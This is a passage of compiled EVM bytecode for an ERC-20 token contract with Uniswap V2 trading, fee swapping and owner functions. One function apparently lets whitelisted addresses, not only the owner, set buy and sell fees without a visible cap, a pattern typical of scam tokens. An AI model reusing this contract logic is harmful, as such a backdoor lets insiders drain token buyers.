05180830381865afa158015610bba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bde9190612445565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c699190612445565b6040518363ffffffff1660e01b8152600401610c86929190612472565b6020604051808303816000875af1158015610ca5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc99190612445565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d7a3061092b565b611033565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610dc83061092b565b600080610dd36109a8565b426040518863ffffffff1660e01b8152600401610df5969594939291906124d6565b60606040518083038185885af1158015610e13573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e38919061254c565b505050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610eda92919061259f565b6020604051808303816000875af1158015610ef9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1d91906125f4565b5050565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fb061166a565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361101f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101690612693565b60405180910390fd5b611028816116e8565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561109d5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d3906126ff565b60405180910390fd5b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ba9190612254565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112315750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611270576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112679061276b565b60405180910390fd5b600081116112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112aa906127fd565b60405180910390fd5b600560019054906101000a900460ff1660ff16600560009054906101000a900460ff1660ff16101580156112f45750600e60149054906101000a900460ff16155b801561134e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113665750600e60159054906101000a900460ff165b156113a9576000600560006101000a81548160ff021916908360ff16021790555060006113923061092b565b905060008111156113a7576113a6816117ac565b5b505b600060019050601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114505750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061151b5750601360149054906101000a900460ff1680156114c05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561152957600090506115ed565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361158c576007546006819055506115ec565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115eb576008546006819055505b5b5b6115f984848484611820565b50505050565b6000838311158290611647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163e919061209a565b60405180910390fd5b5082840390509392505050565b60008183611662919061284c565b905092915050565b61167261102b565b73ffffffffffffffffffffffffffffffffffffffff166116906109a8565b73ffffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dd906128cc565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600e60146101000a81548160ff0219169083151502179055506117d08161188a565b6000479050611801601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611acd565b506000600e60146101000a81548160ff02191690831515021790555050565b806118325761182d611b18565b61186b565b6005600081819054906101000a900460ff1680929190611851906128ec565b91906101000a81548160ff021916908360ff160217905550505b611876848484611b74565b8061188457611883611f92565b5b50505050565b6000600267ffffffffffffffff8111156118a7576118a6612915565b5b6040519080825280602002602001820160405280156118d55781602001602082028036833780820191505090505b50905030816000815181106118ed576118ec612944565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611994573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119b89190612445565b816001815181106119cc576119cb612944565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a3330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611033565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611a97959493929190612a31565b600060405180830381600087803b158015611ab157600080fd5b505af1158015611ac5573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b13573d6000803e3d6000fd5b505050565b6000600654148015611b2c57506000600754145b8015611b3a57506000600854145b611b7257600754600a81905550600854600b819055506006546009819055506000600781905550600060088190555060006006819055505b565b6000601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611bce576000611bd2565b6011545b9050601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d5557611c7882600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611faf90919063ffffffff16565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d0d81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165490919063ffffffff16565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8c565b600080611d6184611fc5565b91509150611db784600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611faf90919063ffffffff16565b600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4c82600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165490919063ffffffff16565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ee181600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165490919063ffffffff16565b600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f819190612254565b60405180910390a350505b50505050565b600954600681905550600a54600781905550600b54600881905550565b60008183611fbd9190612a8b565b905092915050565b6000806000606460065485611fda9190612abf565b611fe49190612b30565b90506000611ffb8286611faf90919063ffffffff16565b90508082935093505050915091565b600081519050919050565b600082825260208201905092915050565b60005b83811015612044578082015181840152602081019050612029565b60008484015250505050565b6000601f19601f8301169050919050565b600061206c8261200a565b6120768185612015565b9350612086818560208601612026565b61208f81612050565b840191505092915050565b600060208201905081810360008301526120b48184612061565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120ec826120c1565b9050919050565b6120fc816120e1565b811461210757600080fd5b50565b600081359050612119816120f3565b92915050565b6000819050919050565b6121328161211f565b811461213d57600080fd5b50565b60008135905061214f81612129565b92915050565b6000806040838503121561216c5761216b6120bc565b5b600061217a8582860161210a565b925050602061218b85828601612140565b9150509250929050565b60008115159050919050565b6121aa81612195565b82525050565b60006020820190506121c560008301846121a1565b92915050565b6000819050919050565b60006121f06121eb6121e6846120c1565b6121cb565b6120c1565b9050919050565b6000612202826121d5565b9050919050565b6000612214826121f7565b9050919050565b61222481612209565b82525050565b600060208201905061223f600083018461221b565b92915050565b61224e8161211f565b82525050565b60006020820190506122696000830184612245565b92915050565b600080600060608486031215612288576122876120bc565b5b60006122968682870161210a565b93505060206122a78682870161210a565b92505060406122b886828701612140565b9150509250925092565b600060ff82169050919050565b6122d8816122c2565b82525050565b60006020820190506122f360008301846122cf565b92915050565b612302816120e1565b82525050565b600060208201905061231d60008301846122f9565b92915050565b6000806040838503121561233a576123396120bc565b5b600061234885828601612140565b925050602061235985828601612140565b9150509250929050565b600060208284031215612379576123786120bc565b5b60006123878482850161210a565b91505092915050565b600080604083850312156123a7576123a66120bc565b5b60006123b58582860161210a565b92505060206123c68582860161210a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061241757607f821691505b60208210810361242a576124296123d0565b5b50919050565b60008151905061243f816120f3565b92915050565b60006020828403121561245b5761245a6120bc565b5b600061246984828501612430565b91505092915050565b600060408201905061248760008301856122f9565b61249460208301846122f9565b9392505050565b6000819050919050565b60006124c06124bb6124b68461249b565b6121cb565b61211f565b9050919050565b6124d0816124a5565b82525050565b600060c0820190506124eb60008301896122f9565b6124f86020830188612245565b61250560408301876124c7565b61251260608301866124c7565b61251f60808301856122f9565b61252c60a0830184612245565b979650505050505050565b60008151905061254681612129565b92915050565b600080600060608486031215612565576125646120bc565b5b600061257386828701612537565b935050602061258486828701612537565b925050604061259586828701612537565b9150509250925092565b60006040820190506125b460008301856122f9565b6125c16020830184612245565b9392505050565b6125d181612195565b81146125dc57600080fd5b50565b6000815190506125ee816125c8565b92915050565b60006020828403121561260a576126096120bc565b5b6000612618848285016125df565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061267d602683612015565b915061268882612621565b604082019050919050565b600060208201905081810360008301526126ac81612670565b9050919050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b60006126e9601183612015565b91506126f4826126b3565b602082019050919050565b60006020820190508181036000830152612718816126dc565b9050919050565b7f4552523a205573696e6720302061646472657373210000000000000000000000600082015250565b6000612755601583612015565b91506127608261271f565b602082019050919050565b6000602082019050818103600083015261278481612748565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e2060008201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b60006127e7602583612015565b91506127f28261278b565b604082019050919050565b60006020820190508181036000830152612816816127da565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006128578261211f565b91506128628361211f565b925082820190508082111561287a5761287961281d565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128b6602083612015565b91506128c182612880565b602082019050919050565b600060208201905081810360008301526128e5816128a9565b9050919050565b60006128f7826122c2565b915060ff820361290a5761290961281d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6129a8816120e1565b82525050565b60006129ba838361299f565b60208301905092915050565b6000602082019050919050565b60006129de82612973565b6129e8818561297e565b93506129f38361298f565b8060005b83811015612a24578151612a0b88826129ae565b9750612a16836129c6565b9250506001810190506129f7565b5085935050505092915050565b600060a082019050612a466000830188612245565b612a5360208301876124c7565b8181036040830152612a6581866129d3565b9050612a7460608301856122f9565b612a816080830184612245565b9695505050505050565b6000612a968261211f565b9150612aa18361211f565b9250828203905081811115612ab957612ab861281d565b5b92915050565b6000612aca8261211f565b9150612ad58361211f565b9250828202612ae38161211f565b91508282048414831517612afa57612af961281d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612b3b8261211f565b9150612b468361211f565b925082612b5657612b55612b01565b5b82820490509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220519625b6a7e2025ed1eaec8aa7dfb7483f77fabd0e6fee2dabb2d95220422bd364736f6c63430008110033000000000000000000000000000072cb5bd86321e38cb6ce6682e80000000000
Deployed Bytecode
0x60806040526004361061014f5760003560e01c80634a74bb02116100b657806395d89b411161006f57806395d89b41146104a5578063a457c2d7146104d0578063a9059cbb1461050d578063c9567bf91461054a578063dd62ed3e14610561578063f2fde38b1461059e57610156565b80634a74bb02146103955780636e4c4311146103c057806370a08231146103e9578063715018a614610426578063772521511461043d5780638da5cb5b1461047a57610156565b8063220f669611610108578063220f66961461026f57806323b872dd1461029a578063313ce567146102d75780633950935114610302578063411adcb61461033f57806349bd5a5e1461036a57610156565b806306fdde031461015b578063095ea7b31461018657806313fad07a146101c35780631694505e146101ee57806318160ddd146102195780631e62d5241461024457610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105c7565b60405161017d919061209a565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190612155565b610659565b6040516101ba91906121b0565b60405180910390f35b3480156101cf57600080fd5b506101d8610677565b6040516101e591906121b0565b60405180910390f35b3480156101fa57600080fd5b5061020361068a565b604051610210919061222a565b60405180910390f35b34801561022557600080fd5b5061022e6106b0565b60405161023b9190612254565b60405180910390f35b34801561025057600080fd5b506102596106ba565b6040516102669190612254565b60405180910390f35b34801561027b57600080fd5b506102846106c0565b60405161029191906121b0565b60405180910390f35b3480156102a657600080fd5b506102c160048036038101906102bc919061226f565b6106d3565b6040516102ce91906121b0565b60405180910390f35b3480156102e357600080fd5b506102ec6107ac565b6040516102f991906122de565b60405180910390f35b34801561030e57600080fd5b5061032960048036038101906103249190612155565b6107c3565b60405161033691906121b0565b60405180910390f35b34801561034b57600080fd5b50610354610876565b6040516103619190612254565b60405180910390f35b34801561037657600080fd5b5061037f61087c565b60405161038c9190612308565b60405180910390f35b3480156103a157600080fd5b506103aa6108a2565b6040516103b791906121b0565b60405180910390f35b3480156103cc57600080fd5b506103e760048036038101906103e29190612323565b6108b5565b005b3480156103f557600080fd5b50610410600480360381019061040b9190612363565b61092b565b60405161041d9190612254565b60405180910390f35b34801561043257600080fd5b5061043b610974565b005b34801561044957600080fd5b50610464600480360381019061045f9190612363565b610988565b60405161047191906121b0565b60405180910390f35b34801561048657600080fd5b5061048f6109a8565b60405161049c9190612308565b60405180910390f35b3480156104b157600080fd5b506104ba6109d1565b6040516104c7919061209a565b60405180910390f35b3480156104dc57600080fd5b506104f760048036038101906104f29190612155565b610a63565b60405161050491906121b0565b60405180910390f35b34801561051957600080fd5b50610534600480360381019061052f9190612155565b610b30565b60405161054191906121b0565b60405180910390f35b34801561055657600080fd5b5061055f610b4e565b005b34801561056d57600080fd5b5061058860048036038101906105839190612390565b610f21565b6040516105959190612254565b60405180910390f35b3480156105aa57600080fd5b506105c560048036038101906105c09190612363565b610fa8565b005b6060600180546105d6906123ff565b80601f0160208091040260200160405190810160405280929190818152602001828054610602906123ff565b801561064f5780601f106106245761010080835404028352916020019161064f565b820191906000526020600020905b81548152906001019060200180831161063257829003601f168201915b5050505050905090565b600061066d61066661102b565b8484611033565b6001905092915050565b601360149054906101000a900460ff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600454905090565b60075481565b600e60149054906101000a900460ff1681565b60006106e08484846111c7565b6107a1846106ec61102b565b61079c85604051806060016040528060288152602001612b6260289139600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061075261102b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ff9092919063ffffffff16565b611033565b600190509392505050565b6000600360009054906101000a900460ff16905090565b600061086c6107d061102b565b8461086785600f60006107e161102b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165490919063ffffffff16565b611033565b6001905092915050565b60085481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60159054906101000a900460ff1681565b60011515601060006108c561102b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461091957600080fd5b81600781905550806008819055505050565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61097c61166a565b61098660006116e8565b565b60106020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546109e0906123ff565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0c906123ff565b8015610a595780601f10610a2e57610100808354040283529160200191610a59565b820191906000526020600020905b815481529060010190602001808311610a3c57829003601f168201915b5050505050905090565b6000610b26610a7061102b565b84610b2185604051806060016040528060258152602001612b8a60259139600f6000610a9a61102b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ff9092919063ffffffff16565b611033565b6001905092915050565b6000610b44610b3d61102b565b84846111c7565b6001905092915050565b610b5661166a565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bde9190612445565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c699190612445565b6040518363ffffffff1660e01b8152600401610c86929190612472565b6020604051808303816000875af1158015610ca5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc99190612445565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d7a3061092b565b611033565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610dc83061092b565b600080610dd36109a8565b426040518863ffffffff1660e01b8152600401610df5969594939291906124d6565b60606040518083038185885af1158015610e13573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e38919061254c565b505050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610eda92919061259f565b6020604051808303816000875af1158015610ef9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1d91906125f4565b5050565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fb061166a565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361101f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101690612693565b60405180910390fd5b611028816116e8565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561109d5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d3906126ff565b60405180910390fd5b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ba9190612254565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112315750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611270576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112679061276b565b60405180910390fd5b600081116112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112aa906127fd565b60405180910390fd5b600560019054906101000a900460ff1660ff16600560009054906101000a900460ff1660ff16101580156112f45750600e60149054906101000a900460ff16155b801561134e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113665750600e60159054906101000a900460ff165b156113a9576000600560006101000a81548160ff021916908360ff16021790555060006113923061092b565b905060008111156113a7576113a6816117ac565b5b505b600060019050601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114505750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061151b5750601360149054906101000a900460ff1680156114c05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561152957600090506115ed565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361158c576007546006819055506115ec565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115eb576008546006819055505b5b5b6115f984848484611820565b50505050565b6000838311158290611647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163e919061209a565b60405180910390fd5b5082840390509392505050565b60008183611662919061284c565b905092915050565b61167261102b565b73ffffffffffffffffffffffffffffffffffffffff166116906109a8565b73ffffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dd906128cc565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600e60146101000a81548160ff0219169083151502179055506117d08161188a565b6000479050611801601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611acd565b506000600e60146101000a81548160ff02191690831515021790555050565b806118325761182d611b18565b61186b565b6005600081819054906101000a900460ff1680929190611851906128ec565b91906101000a81548160ff021916908360ff160217905550505b611876848484611b74565b8061188457611883611f92565b5b50505050565b6000600267ffffffffffffffff8111156118a7576118a6612915565b5b6040519080825280602002602001820160405280156118d55781602001602082028036833780820191505090505b50905030816000815181106118ed576118ec612944565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611994573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119b89190612445565b816001815181106119cc576119cb612944565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a3330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611033565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611a97959493929190612a31565b600060405180830381600087803b158015611ab157600080fd5b505af1158015611ac5573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b13573d6000803e3d6000fd5b505050565b6000600654148015611b2c57506000600754145b8015611b3a57506000600854145b611b7257600754600a81905550600854600b819055506006546009819055506000600781905550600060088190555060006006819055505b565b6000601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611bce576000611bd2565b6011545b9050601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d5557611c7882600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611faf90919063ffffffff16565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d0d81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165490919063ffffffff16565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8c565b600080611d6184611fc5565b91509150611db784600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611faf90919063ffffffff16565b600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4c82600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165490919063ffffffff16565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ee181600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165490919063ffffffff16565b600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f819190612254565b60405180910390a350505b50505050565b600954600681905550600a54600781905550600b54600881905550565b60008183611fbd9190612a8b565b905092915050565b6000806000606460065485611fda9190612abf565b611fe49190612b30565b90506000611ffb8286611faf90919063ffffffff16565b90508082935093505050915091565b600081519050919050565b600082825260208201905092915050565b60005b83811015612044578082